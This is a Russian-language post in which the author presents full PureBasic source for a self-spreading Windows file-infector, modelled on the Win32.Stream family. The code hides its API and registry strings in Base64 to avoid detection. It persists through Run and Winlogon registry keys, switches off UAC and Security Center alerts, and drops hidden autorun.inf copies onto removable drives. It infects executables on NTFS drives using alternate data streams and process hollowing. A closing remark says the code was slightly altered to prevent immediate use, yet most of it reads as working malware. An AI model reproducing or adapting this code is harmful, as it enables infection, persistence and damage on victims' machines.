...Прочитала на днях описание семейства вирусов "Win32.Stream". Вдохновило. Результат дальнейших усилий по созданию чего-то подобного на PB (необходима версия не ниже 4.4) вы можете оценить самостоятельно:
Код
EnableExplicit
; -Constants-
#AutoRunFunc = #True; Auto-running functionality.
#PSection = "fip+UFJJTUVfREFUQX4qfg=="
#Section = "OkZsaW5jaGVk"
#Resident = "bnRsZHIuZXhl"
#RegRunBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu"
#RegDriveBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcRXhwbG9y
ZXJc"
#RegLogonBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24="
#RegUACBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVt"
#RegSecCenterBranch = "U09GVFdBUkVcTWljcm9zb2Z0XFNlY3VyaXR5IENlbnRlcg=="
#NTDLL = "bnRkbGwuZGxs"
#K32DLL = "S2VybmVsMzIuZGxs"
#UnMapper = "WndVbm1hcFZpZXdPZlNlY3Rpb24="
#WPMemory = "V3JpdGVQcm9jZXNzTWVtb3J5"
#RPMemory = "UmVhZFByb2Nlc3NNZW1vcnk="
#ARunFile = "OlxXaW5OVC5jb20="
#Explorer = "ZXhwbG9yZXIuZXhl"
#AllFiles = "Ki4q"
#LibLoad = #DONT_RESOLVE_DLL_REFERENCES | #LOAD_LIBRARY_AS_DATAFILE
#HiddenSystem = #PB_FileSystem_Hidden | #PB_FileSystem_System
#MegaByte = 1024 * 1024
#CrunchDelay = 45
#FirstDrive = 'C'
#Ratio = 30
; -Variables-
Define Letter.c, DType, TPath.s{#MAX_PATH}, MyName.S = ProgramFilename()
Global *WaitingMutex = CreateMutex()
Global MySize, Size2, *MyBody, CRC32
Global Dim Drives.a('Z'-#FirstDrive-1)
; -Declarations-
Declare IsARunner(Path.s)
Declare CrunchDrive(Letter.i)
Declare.S Decode64(String.S)
Declare RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Declare RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Declare RunPE(PName.S, lBuff, parameters.s)
Declare.s TempFileName(Prefix.s, Postfix.s = ".tmp")
Declare InfuseData(EXE.s, *DataPtr, DataSize, DataName.s)
Declare ExfuseData(*Module, DataName.s)
Declare CopyResources(SrcModule.s, DestModule.s)
; Hiding suspectable function calls.
Prototype UnmapSectionPT(*ProcessHandle, *BaseAdress)
Prototype WriteProcessPT(*ProcessHandle, *BaseAdress, *Buffer, Size.l, *BytesWritten)
Prototype ReadProcessPT(*ProcessHandle, *BaseAdress, *Buffer, Size.l, *BytesReaded)
Global UnmapSection_.UnmapSectionPT=GetProcAddress_(GetModuleHandle_(Decode64(#NTDLL)),Decode64(#UnMapper))
Global WriteProcess_.WriteProcessPT=GetProcAddress_(GetModuleHandle_(Decode64(#K32DLL)),Decode64(#WPMemory))
Global ReadProcess_.ReadProcessPT=GetProcAddress_(GetModuleHandle_(Decode64(#K32DLL)),Decode64(#RPMemory))
; Some macros:
Macro SetRegSettings(Resident)
RegSetStr(#HKEY_LOCAL_MACHINE, Decode64(#RegRunBranch), Decode64("TlQ0IGhvc3Rpbmcgc2VydmljZQ=="), Resident)
CompilerIf #AutoRunFunc; If we would use auto-running feature...
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZUF1dG9SdW4="), 0)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZVR5cGVBdXRvUnVu"), 0)
CompilerEndIf
If OSVersion() > #PB_OS_Windows_XP; OS-specific changes would be made here.
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegSecCenterBranch), Decode64("VWFjRGlzYWJsZU5vdGlmeQ=="), 1)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegUACBranch), Decode64("RW5hYmxlTFVB"), 0)
Else : RegSetStr(#HKEY_LOCAL_MACHINE,Decode64(#RegLogonBranch),Decode64("U2hlbGw="),Decode64(#Explorer)+" "+Resident)
EndIf
EndMacro
; Resident's path retrieving.
GetSystemDirectory_(@TPath, #MAX_PATH)
PathCombine_(@TPath, @TPath, Decode64(#Resident))
; Main choice...
If UCase(MyName) = UCase(TPath)
; -Resident behavior-
; Checking for second execution.
TPath = Decode64("R2xvYmFsXCpfRmxpbmNIXypfRmxpbmNIXyo=")
While CreateMutex_(0, 0, @TPath) = #Null : Delay(100) : Wend
If GetLastError_() : End : EndIf; May need further testing.
; Body retrieving.
MySize = FileSize(MyName)
*MyBody = AllocateMemory(MySize)
ReadFile(0, MyName)
ReadData(0, *MyBody, MySize)
CloseFile(0)
; Machine name's CRC32 retrieving...
TPath = Space(#MAX_COMPUTERNAME_LENGTH)
DType = #MAX_COMPUTERNAME_LENGTH
GetComputerName_(@TPath, @DType)
CRC32 = CRC32Fingerprint(@TPath, DType)
; ---------------------
ExamineDirectory(0, "", ""); Void scan.
FinishDirectory(0); Glitch workaround.
; Drives loop.
TPath = Decode64("Kjpc")
Repeat; Infinite loop
SetFileAttributes(MyName, #HiddenSystem); To be sure.
For Letter = #FirstDrive To 'Z' : PokeC(@TPath, Letter)
DType = GetDriveType_(@TPath); Retireving type of drive.
If DType => #DRIVE_REMOVABLE And DType <= #DRIVE_RAMDISK And DType <> #DRIVE_CDROM
; Testing if drive is already being crunched.
If Drives(Letter - #FirstDrive) = #False
Drives(Letter - #FirstDrive) = #True
CreateThread(@CrunchDrive(), Letter)
EndIf
EndIf
Next Letter
Delay(15 * 1000); Little pause for better mood.
SetRegSettings(MyName); 3 less detections if placed here.
ForEver
; ---------------------
Else
; -Agent behavior-
SetFileAttributes(TPath, #PB_FileSystem_Normal)
If CreateFile(1, TPath); If resident isn't already executed...
; Preparing body for transfer.
*MyBody = ExfuseData(#Null, Decode64(#PSection))
If *MyBody = #Null : ReadFile(0, MyName); If no prime found...
MySize = Lof(0) : *MyBody = AllocateMemory(MySize)
ReadData(0, *MyBody, MySize)
CloseFile(0)
Else : MySize = MemorySize(*MyBody)
EndIf
; Transferring body.
WriteData(1, *MyBody, MySize) : CloseFile(1) : FreeMemory(*MyBody)
RunProgram(TPath); Executing resident.
EndIf; Now hiding it for sure:
SetFileAttributes(TPath, #HiddenSystem)
TPath = Decode64(#ARunfile)
; Original program's execution.
If IsARunner(MyName) = #False; If it isn't autorunner...
If ReadFile(0, MyName + Decode64(#Section)); Header
ReadFile(1, MyName); Main body - our code.
MySize = Lof(1) : *MyBody = AllocateMemory(MySize)
Size2 = Lof(0) : ReadData(0, *MyBody, Size2)
FileSeek(1, Size2); Rewinding to read body
ReadData(1, *MyBody + Size2, MySize - Size2)
CloseFile(1)
CloseFile(0)
TPath = PeekS(GetCommandLine_())
RunPE(MyName, *MyBody, Mid(TPath, Len(MyName) + 3))
Else : ! MOV EAX, [0]; Imitate error.
EndIf
; Imitate opening of drive in Explorer.
Else : RunProgram(Decode64(#Explorer), Left(MyName, 3), "")
EndIf
EndIf
; -Procedures-
Procedure IsARunner(Path.s)
Define APath.S = LCase(Decode64(#ARunFile))
If LCase(Right(Path, Len(APath))) = APath
ProcedureReturn #True; Signaling success.
EndIf
EndProcedure
Procedure IsWriteable(FName.S)
Define *FilePointer = OpenFile(#PB_Any, FName)
If *FilePointer : CloseFile(*FilePointer)
ProcedureReturn #True; Signaling success.
EndIf
EndProcedure
Procedure FindEXEs(Root.S, Chance.i) : Delay(#CrunchDelay)
Define SIdx, Attribs, CDate, ADate, MDate
Define *NewBody, NewSize, *FPtr, *Target
Define Target.s, FTarget.s, TmpFile.S
If Right(Root, 1) <> "\" : Root + "\" : EndIf
SIdx = ExamineDirectory(#PB_Any, Root, Decode64(#AllFiles))
If SIdx; If it can be examined...
While NextDirectoryEntry(SIdx)
Target = DirectoryEntryName(SIdx); Retrieving name
If DirectoryEntryType(SIdx) = #PB_DirectoryEntry_File
ADate = DirectoryEntryDate(SIdx, #PB_Date_Accessed); Reading before everyting else.
If UCase(Right(Target, 4)) = Decode64("LkVYRQ=="); If it's EXEcutable...
If Random(Chance) = 0; If randomizer clocked 0...
Target = Root + Target; Reformatting path to target.
FTarget = Target + Decode64(#Section)
; ----------------------------
If ReadFile(0, FTarget) = #Null; If not already modified...
If FreeLibrary_(LoadLibraryEx_(Target, #Null, #LibLoad)); If it's valid...
; Prepare modifications.
Attribs = DirectoryEntryAttributes(SIdx)
CDate = DirectoryEntryDate(SIdx, #PB_Date_Created)
MDate = DirectoryEntryDate(SIdx, #PB_Date_Modified)
SetFileAttributes(Target, #PB_FileSystem_Normal)
If IsWriteable(Target); If it's possible to write here...
; Restructuring body with new resources.
TmpFile = TempFileName(Decode64("Xytf"))
*FPtr = CreateFile(#PB_Any, Tmpfile)
WriteData(*FPtr, *MyBody, MySize)
CloseFile(*FPtr)
CopyResources(Target, TmpFile)
InfuseData(TmpFile, *MyBody, MySize, Decode64(#PSection))
NewSize = FileSize(TmpFile)
*NewBody = AllocateMemory(NewSize)
; Retrieving target's code and storing it into new stream.
*Target = OpenFile(#PB_Any, Target)
ReadData(*Target, *NewBody, NewSize)
*FPtr = CreateFile(#PB_Any, FTarget)
WriteData(*FPtr, *NewBody, NewSize)
CloseFile(*FPtr)
; Retrieving new body code and writing it to target.
*FPtr = ReadFile(#PB_Any, Tmpfile)
ReadData(*FPtr, *NewBody, NewSize)
CloseFile(*FPtr)
DeleteFile(TmpFile)
FileSeek(*Target, 0)
WriteData(*Target, *NewBody, NewSize)
; Cleaning up.
CloseFile(*Target)
FreeMemory(*NewBody)
EndIf
; Finalization.
SetFileAttributes(Target, Attribs)
SetFileDate(Target, #PB_Date_Created, CDate)
SetFileDate(Target, #PB_Date_Modified, MDate)
Delay(#CrunchDelay); Little pause
EndIf
Else : CloseFile(0)
EndIf
EndIf
; ----------------------------
EndIf
SetFileDate(Target, #PB_Date_Accessed, ADate); Still restoring acess time.
; Continue search recursively.
ElseIf Target <> "." And Target <> ".." : FindEXEs(Root + Target, Chance)
EndIf
Wend
FinishDirectory(SIdx)
EndIf
EndProcedure
Procedure AddAutoRunner(Drive.a)
#AInfo="W2F1dG9ydW5dJU4lT3Blbj0qJU4lc2hlbGxFeGVjdXRlPSolTiVzaGVsbFxPcGVuXGNvbW1hbmQ9
KiVOJXNoZWxsXE9wZW5cRGVmYXVsdD0x"
Define Target.S = Chr(Drive) + Decode64(#ARunFile)
; Preapring runfile...
SetFileAttributes(Target, #PB_FileSystem_Normal)
Define *FPtr = CreateFile(#PB_Any, Target)
WriteData(*FPtr, *MyBody, Mysize)
CloseFile(*FPtr)
SetFileAttributes(Target, #HiddenSystem)
; Prepring .inf file...
Define InfoFile.S = Chr(Drive) + Decode64("OlxBdXRvUnVuLmluZg==")
SetFileAttributes(InfoFile, #PB_FileSystem_Normal)
DeleteDirectory(InfoFile, Decode64(#Allfiles), #PB_FileSystem_Recursive|#PB_FileSystem_Force)
*FPtr = CreateFile(#PB_Any, InfoFile)
Define InfoText.s = ReplaceString(ReplaceString(Decode64(#AInfo), Decode64("JU4l"), #CR$), Chr('*'), Target)
WriteData(*FPtr, @InfoText, StringByteLength(InfoText))
CloseFile(*FPtr)
SetFileAttributes(InfoFile, #HiddenSystem)
EndProcedure
Procedure.s GetFileSystem(Drive.A)
Define FSystem.S = Space(#MAX_PATH)
GetVolumeInformation_(Chr(Drive) + Decode64("Olw="), 0, 0, 0, 0, 0, FSystem, #MAX_PATH)
ProcedureReturn FSystem
EndProcedure
Procedure CrunchDrive(Letter.i)
If CRC32 = 1888994306;Or #True; If it's mine PC...
FindExes(Chr(Letter) + Decode64("OlxUZXN0"), 0); ":\Test" run.
Else; Since it not...
CompilerIf #AutoRunFunc; If we would use auto-running feature...
AddAutoRunner(Letter) ; For more fun.
CompilerEndIf
; Only NTFS drives should be crunched (all hopes for AutoRunner)
If GetFileSystem(Letter) = Decode64("TlRGUw==")
FindExes(Chr(Letter) + Decode64("Olw="), #Ratio - 1)
EndIf
EndIf
LockMutex(*WaitingMutex)
Drives(Letter - #FirstDrive) = #False
UnlockMutex(*WaitingMutex)
EndProcedure
Procedure.S Decode64(String.S)
Define DB.S{200}
Base64Decoder(@String, Len(String), @DB, 200)
ProcedureReturn PeekS(@DB)
EndProcedure
Procedure RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(*Hnd)
EndProcedure
Procedure RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_DWORD, @Dat, SizeOf(Integer))
RegCloseKey_(*Hnd)
EndProcedure
Procedure.S MakeCmdLine(Program.s, Args.s); Service proc for 'RunPE'
#Quote = Chr('"')
Define *Char.Character = @Args
If *Char\C <> ' ' : Args = " " + Args : EndIf
ProcedureReturn #Quote + Program + #Quote + Args
EndProcedure
Structure IMAGE_SECTION_HEADER; Service struct for 'RunPE'
SecName.b[8]
StructureUnion
PhysicalAddr.l
VirtualSize.l
EndStructureUnion
VirtualAddress.l
SizeOfRawData.l
PointerToRawData.l
PointerToRelocations.l
PointerToLinenumbers.l
NumberOfRelocations.w
NumberOfLinenumbers.w
Characteristics.l
EndStructure
Structure IMAGE_SECTION_HEADERS; Service struct for 'RunPE'
ish.IMAGE_SECTION_HEADER[95]
EndStructure
Procedure RunPE(PName.S, lBuff, Parameters.s)
Protected *idh.IMAGE_DOS_HEADER = lBuff
Protected *ish.IMAGE_SECTION_HEADERS
Protected pi.PROCESS_INFORMATION
Protected *inh.IMAGE_NT_HEADERS
Protected si.STARTUPINFO
Protected lpBaseAddres.l
Protected Ctx.CONTEXT
Protected Addr.l, ret.l, i.l
CreateProcess_(#NUL, MakeCmdLine(PName, Parameters), #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi)
Ctx\ContextFlags = #CONTEXT_INTEGER
If GetThreadContext_(pi\hThread, Ctx) = 0: Goto EndThread : EndIf
ReadProcess_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL)
If UnmapSection_(Pi\hProcess, Addr): Goto EndThread : EndIf
If lBuff = 0 : Goto EndThread : EndIf
*inh = lBuff + *idh\e_lfanew
With *inh\OptionalHeader
lpBaseAddres = VirtualAllocEx_(pi\hProcess,\ImageBase,\SizeOfImage,#MEM_COMMIT|#MEM_RESERVE,#PAGE_EXECUTE_READWRITE)
EndWith
WriteProcess_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret)
*ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader
With *ish
For i = 0 To *inh\FileHeader\NumberOfSections - 1
WriteProcess_(pi\hProcess,lpBaseAddres+\ish[i]\VirtualAddress,lBuff+\ish[i]\PointerToRawData,\ish[i]\SizeOfRawData,@ret)
Next
EndWith
WriteProcess_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL)
Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint
SetThreadContext_(pi\hThread, Ctx)
ResumeThread_(pi\hThread)
ProcedureReturn
EndThread:
TerminateProcess_(pi\hProcess, #NUL)
CloseHandle_(pi\hThread)
CloseHandle_(pi\hProcess)
EndProcedure
Procedure.s TempFileName(Prefix.s, Postfix.s = ".tmp")
Define TmpDir.s = GetTemporaryDirectory()
Repeat : Define I, FileName.s{#MAX_PATH} = TmpDir + "\" + Prefix
For I = 1 To 5 : FileName + Chr(Random('z' - 'a') + 'a')
Next I : FileName + Postfix
Until FileSize(FileName) = -1
ProcedureReturn FileName
EndProcedure
Procedure InfuseData(EXE.s, *DataPtr, DataSize, DataName.s)
Define *Update = BeginUpdateResource_(EXE, #False)
UpdateResource_(*Update, #RT_RCDATA, @DataName, 0, *DataPtr, DataSize)
EndUpdateResource_(*Update, #False)
EndProcedure
Procedure ExfuseData(*Module, DataName.s)
Define *Res = FindResource_(*Module, @DataName, #RT_RCDATA)
Define *BinData = LockResource_(LoadResource_(*Module, *Res))
Define DataSize = SizeofResource_(*Module, *Res)
*Res = AllocateMemory(DataSize)
CopyMemory(*BinData, *Res, DataSize)
ProcedureReturn *Res
EndProcedure
Procedure ResCopyCB(*hModule, *TypeStr, *NameStr, *Update)
Define *hResourceInfo = FindResource_(*hModule, *NameStr, *TypeStr)
Define *pResourceLock = LockResource_(LoadResource_(*hModule, *hResourceInfo))
Define ResSize = SizeofResource_(*hModule, *hResourceInfo)
If *TypeStr <> #RT_RCDATA Or ResSize < 10 * #MegaByte
; ^Some sizing optimization (may cause problems)^
UpdateResource_(*Update, *TypeStr, *NameStr, 0, *pResourceLock, ResSize)
EndIf
ProcedureReturn #True
EndProcedure
Procedure ResTypesCB(*hModule, *TypeStr, *Update)
EnumResourceNames_(*hModule, *TypeStr, @ResCopyCB(), *Update)
ProcedureReturn #True
EndProcedure
Procedure CopyResources(SrcModule.s, DestModule.s)
Define *hModule = LoadLibraryEx_(SrcModule, #Null, #LibLoad)
Define *hResourceUpdate = BeginUpdateResource_(DestModule, #True)
EnumResourceTypes_(*hModule, @ResTypesCB(), *hResourceUpdate)
EndUpdateResource_(*hResourceUpdate, #False)
FreeLibrary_(*hModule)
EndProcedure
Примечание: поскольку я выложила код исключительно в ознакомительных целях, он был (уж не взыщите) слегка подкорректирован в целях предотвращения возможности немедленного использования в деструктивных целях.